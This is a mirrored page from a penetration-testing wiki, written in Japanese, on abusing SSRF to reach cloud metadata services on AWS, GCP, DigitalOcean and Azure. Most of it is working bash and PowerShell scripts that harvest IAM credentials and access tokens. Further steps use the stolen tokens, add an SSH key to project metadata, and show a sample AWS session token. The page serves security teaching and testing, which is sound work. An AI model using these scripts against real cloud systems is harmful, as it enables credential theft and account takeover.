mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
597 lines
32 KiB
Markdown
597 lines
32 KiB
Markdown
# Cloud SSRF
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## AWS
|
||
|
||
### AWS EC2環境におけるSSRFの悪用
|
||
|
||
**メタデータ**エンドポイントは、任意のEC2マシン内からアクセスでき、興味深い情報を提供します。URLは`http://169.254.169.254`でアクセス可能です([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||
|
||
メタデータエンドポイントには**2つのバージョン**があります。**最初の**ものは、**GET**リクエストを介してエンドポイントに**アクセス**することを許可します(したがって、**SSRFがそれを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**トークン**を要求するために**PUT**リクエストを送信し、**HTTPヘッダー**を使用して、そのトークンを使って別のHTTPヘッダーでメタデータにアクセスする必要があります(したがって、**SSRFで悪用するのがより複雑です**)。
|
||
|
||
> [!CAUTION]
|
||
> EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**となり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
|
||
>
|
||
> さらに、**IMDSv2**は、**`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストをブロックします**。これは、誤って構成されたリバースプロキシがそれにアクセスできないようにするためです。
|
||
|
||
[メタデータエンドポイントに関する情報はドキュメントにあります](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。以下のスクリプトでは、そこからいくつかの興味深い情報が取得されます:
|
||
```bash
|
||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||
URL="http://169.254.169.254/latest/meta-data"
|
||
|
||
aws_req=""
|
||
if [ "$(command -v curl)" ]; then
|
||
aws_req="curl -s -f -H '$HEADER'"
|
||
elif [ "$(command -v wget)" ]; then
|
||
aws_req="wget -q -O - -H '$HEADER'"
|
||
else
|
||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||
fi
|
||
|
||
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||
|
||
echo ""
|
||
echo "Account Info"
|
||
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
|
||
|
||
echo ""
|
||
echo "Network Info"
|
||
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||
echo "Mac: $mac"
|
||
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "IAM Role"
|
||
eval $aws_req "$URL/iam/info"
|
||
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||
echo "Role: $role"
|
||
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "User Data"
|
||
# Search hardcoded credentials
|
||
eval $aws_req "http://169.254.169.254/latest/user-data"
|
||
|
||
echo ""
|
||
echo "EC2 Security Credentials"
|
||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||
```
|
||
公開されている**IAM資格情報**の例として、次のリンクを訪れることができます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||
|
||
また、次のリンクで公開されている**EC2セキュリティ資格情報**を確認できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||
|
||
その後、**これらの資格情報をAWS CLIで使用することができます**。これにより、**そのロールが持つ権限で何でも行うことができます**。
|
||
|
||
新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります:
|
||
```
|
||
[profilename]
|
||
aws_access_key_id = ASIA6GG71[...]
|
||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||
```
|
||
**aws_session_token**に注意してください。これはプロファイルが機能するために不可欠です。
|
||
|
||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)は、発見された資格情報を使用して、あなたの権限を確認し、権限を昇格させる試みをすることができます。
|
||
|
||
### AWS ECS (コンテナサービス) のSSRF資格情報
|
||
|
||
**ECS**は、アプリケーションを実行するためのEC2インスタンスの論理グループであり、ECSがクラスター管理インフラストラクチャを管理するため、自分でスケールする必要はありません。**ECS**で実行されているサービスを侵害することに成功すれば、**メタデータエンドポイントが変更されます**。
|
||
|
||
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。しかし、まずは**\<GUID>**を見つける必要があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**を読み取る必要があります。\
|
||
**Path Traversal**を利用して`file:///proc/self/environ`を読み取ることができるかもしれません。\
|
||
前述のhttpアドレスは、**AccessKey、SecretKey、およびトークン**を提供するはずです。
|
||
```bash
|
||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||
```
|
||
> [!NOTE]
|
||
> **場合によっては**、コンテナから**EC2メタデータインスタンス**にアクセスできることに注意してください(前述のIMDSv2 TTL制限を確認してください)。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。
|
||
|
||
### AWS LambdaのSSRF
|
||
|
||
この場合、**資格情報は環境変数に保存されています**。したがって、それらにアクセスするには、**`file:///proc/self/environ`**のようなものにアクセスする必要があります。
|
||
|
||
**興味深い環境変数の名前**は次のとおりです:
|
||
|
||
- `AWS_SESSION_TOKEN`
|
||
- `AWS_SECRET_ACCESS_KEY`
|
||
- `AWS_ACCES_KEY_ID`
|
||
|
||
さらに、IAM資格情報に加えて、Lambda関数には**関数が開始されるときに関数に渡されるイベントデータ**もあります。このデータは[ランタイムインターフェース](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**機密**の**情報**(**stageVariables**内のような)を含む可能性があります。IAM資格情報とは異なり、このデータは標準のSSRFを介して**`http://localhost:9001/2018-06-01/runtime/invocation/next`**でアクセス可能です。
|
||
|
||
> [!WARNING]
|
||
> **lambda資格情報**は**環境変数**内にあります。したがって、lambdaコードの**スタックトレース**が環境変数を印刷する場合、アプリでエラーを引き起こすことで**それらを流出させる**可能性があります。
|
||
|
||
### AWS Elastic BeanstalkのSSRF URL
|
||
|
||
APIから`accountId`と`region`を取得します。
|
||
```
|
||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
次に、APIから`AccessKeyId`、`SecretAccessKey`、および`Token`を取得します。
|
||
```
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
 
|
||
|
||
その後、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`で資格情報を使用します。
|
||
|
||
## GCP
|
||
|
||
[**メタデータエンドポイントに関するドキュメントはこちらで見つけることができます**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
|
||
|
||
### Google CloudのSSRF URL
|
||
|
||
HTTPヘッダー**`Metadata-Flavor: Google`**が必要で、次のURLでメタデータエンドポイントにアクセスできます:
|
||
|
||
- http://169.254.169.254
|
||
- http://metadata.google.internal
|
||
- http://metadata
|
||
|
||
情報を抽出するための興味深いエンドポイント:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
# Project attributes
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||
|
||
# /oslogin
|
||
# users
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
|
||
# groups
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
|
||
# security-keys
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
|
||
# authorize
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
|
||
|
||
# /instance
|
||
# Description
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||
# Hostname
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Image
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||
# Machine Type
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||
# Name
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||
# Tags
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# User data
|
||
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
|
||
# Network Interfaces
|
||
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
|
||
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
||
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
||
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
||
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
||
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
||
echo " ============== "
|
||
done
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
# K8s Attributtes
|
||
## Cluster location
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
|
||
## Cluster name
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
|
||
## Os-login enabled
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
|
||
## Kube-env
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
|
||
## Kube-labels
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
|
||
## Kubeconfig
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
|
||
|
||
# All custom project attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
|
||
# All custom project attributes instance attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
```
|
||
Betaは現在、ヘッダーを必要としません(Mathias Karlsson @avlidienbrunnに感謝)。
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||
```
|
||
> [!CAUTION]
|
||
> **漏洩したサービスアカウントトークンを使用する**には、次のようにします:
|
||
>
|
||
> ```bash
|
||
> # 環境変数を介して
|
||
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||
> gcloud projects list
|
||
>
|
||
> # セットアップを介して
|
||
> echo "<token>" > /some/path/to/token
|
||
> gcloud config set auth/access_token_file /some/path/to/token
|
||
> gcloud projects list
|
||
> gcloud config unset auth/access_token_file
|
||
> ```
|
||
|
||
### SSHキーを追加する
|
||
|
||
トークンを抽出する
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||
```
|
||
トークンのスコープを確認します(前の出力を使用するか、次のコマンドを実行します)。
|
||
```bash
|
||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||
"issued_to": "101302079XXXXX",
|
||
"audience": "10130207XXXXX",
|
||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||
"expires_in": 2443,
|
||
"access_type": "offline"
|
||
}
|
||
```
|
||
SSHキーをプッシュします。
|
||
```bash
|
||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||
-H "Content-Type: application/json"
|
||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||
```
|
||
### Cloud Functions
|
||
|
||
メタデータエンドポイントは、VMと同様に機能しますが、一部のエンドポイントがありません:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
|
||
# /instance
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# Auto MTLS config
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
```
|
||
## Digital Ocean
|
||
|
||
> [!WARNING]
|
||
> AWSロールやGCPサービスアカウントのようなものはないため、メタデータボットの資格情報を見つけることは期待しないでください。
|
||
|
||
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||
```
|
||
curl http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1.json
|
||
http://169.254.169.254/metadata/v1/
|
||
http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1/user-data
|
||
http://169.254.169.254/metadata/v1/hostname
|
||
http://169.254.169.254/metadata/v1/region
|
||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||
curl http://169.254.169.254/metadata/v1.json | jq
|
||
```
|
||
## Azure
|
||
|
||
### Azure VM
|
||
|
||
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||
|
||
- **必須** ヘッダー `Metadata: true` を含む
|
||
- `X-Forwarded-For` ヘッダーを **含まないこと**
|
||
|
||
> [!TIP]
|
||
> Azure VM には 1 つのシステム管理アイデンティティと複数のユーザー管理アイデンティティをアタッチできます。これは基本的に、**VM にアタッチされたすべての管理アイデンティティを偽装できる**ことを意味します。
|
||
>
|
||
> **デフォルト**では、メタデータエンドポイントは **システム割り当て MI (あれば)** を使用します。
|
||
>
|
||
> 残念ながら、VM にアタッチされたすべての MI を示すメタデータエンドポイントは見つかりませんでした。
|
||
>
|
||
> したがって、アタッチされたすべての MI を見つけるには、次のことを行うことができます:
|
||
>
|
||
> - **az cli** を使用して **アタッチされたアイデンティティを取得** (Azure テナント内で既にプリンシパルを侵害している場合)
|
||
>
|
||
> ```bash
|
||
> az vm identity show \
|
||
> --resource-group <rsc-group> \
|
||
> --name <vm-name>
|
||
> ```
|
||
>
|
||
> - メタデータ内のデフォルトアタッチ MI を使用して **アタッチされたアイデンティティを取得**:
|
||
>
|
||
> ```bash
|
||
> export API_VERSION="2021-12-13"
|
||
>
|
||
> # デフォルト MI からトークンを取得
|
||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||
> | jq -r '.access_token')
|
||
>
|
||
> # 必要な詳細を取得
|
||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||
>
|
||
> # アタッチされた MI を取得しようとする
|
||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||
> ```
|
||
>
|
||
> - テナント内で定義されたすべての管理アイデンティティを **取得し**、どれかが VM にアタッチされているかを **ブルートフォース** で確認:
|
||
>
|
||
> ```bash
|
||
> az identity list
|
||
> ```
|
||
|
||
> [!CAUTION]
|
||
> トークンリクエストでは、使用したい管理アイデンティティを示すために `object_id`、`client_id`、または `msi_res_id` のいずれかのパラメータを使用してください ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。いずれも指定しない場合、**デフォルト MI が使用されます**。
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Bash"}}
|
||
```bash
|
||
HEADER="Metadata:true"
|
||
URL="http://169.254.169.254/metadata"
|
||
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||
|
||
echo "Instance details"
|
||
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
|
||
|
||
echo "Load Balancer details"
|
||
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
|
||
|
||
echo "Management Token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
|
||
|
||
echo "Graph token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
|
||
|
||
echo "Vault token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
|
||
|
||
echo "Storage token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="PS"}}
|
||
```bash
|
||
# Powershell
|
||
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
||
## User data
|
||
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
||
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
||
|
||
# Paths
|
||
/metadata/instance?api-version=2017-04-02
|
||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
### Azure App & Functions Services & Automation Accounts
|
||
|
||
**env** から **`IDENTITY_HEADER`** と **`IDENTITY_ENDPOINT`** の値を取得できます。これを使用してメタデータサーバーと通信するためのトークンを取得します。
|
||
|
||
ほとんどの場合、次のリソースのいずれかのトークンが必要です:
|
||
|
||
- [https://storage.azure.com](https://storage.azure.com/)
|
||
- [https://vault.azure.net](https://vault.azure.net/)
|
||
- [https://graph.microsoft.com](https://graph.microsoft.com/)
|
||
- [https://management.azure.com](https://management.azure.com/)
|
||
|
||
> [!CAUTION]
|
||
> トークンリクエストでは、`object_id`、`client_id`、または `msi_res_id` のいずれかのパラメータを使用して、使用したいマネージドIDを指定します([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。指定がない場合は、**デフォルトのMIが使用されます**。
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Bash"}}
|
||
```bash
|
||
# Check for those env vars to know if you are in an Azure app
|
||
echo $IDENTITY_HEADER
|
||
echo $IDENTITY_ENDPOINT
|
||
|
||
# (Fingerprint) You should also be able to find the folder:
|
||
ls /opt/microsoft
|
||
|
||
# Get management token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
# Get graph token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
# Get vault token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
# Get storage token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="PS"}}
|
||
```powershell
|
||
# Define the API version
|
||
$API_VERSION = "2019-08-01"
|
||
|
||
# Function to get a token for a specified resource
|
||
function Get-Token {
|
||
param (
|
||
[string]$Resource
|
||
)
|
||
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
|
||
$headers = @{
|
||
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
|
||
}
|
||
try {
|
||
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
|
||
$response.access_token
|
||
} catch {
|
||
Write-Error "Error obtaining token for $Resource: $_"
|
||
}
|
||
}
|
||
|
||
# Get Management Token
|
||
$managementToken = Get-Token -Resource "https://management.azure.com/"
|
||
Write-Host "Management Token: $managementToken"
|
||
|
||
# Get Graph Token
|
||
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
|
||
Write-Host "Graph Token: $graphToken"
|
||
|
||
# Get Vault Token
|
||
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
|
||
Write-Host "Vault Token: $vaultToken"
|
||
|
||
# Get Storage Token
|
||
$storageToken = Get-Token -Resource "https://storage.azure.com/"
|
||
Write-Host "Storage Token: $storageToken"
|
||
|
||
|
||
# Using oneliners
|
||
|
||
## Get management token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Get graph token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Get vault token
|
||
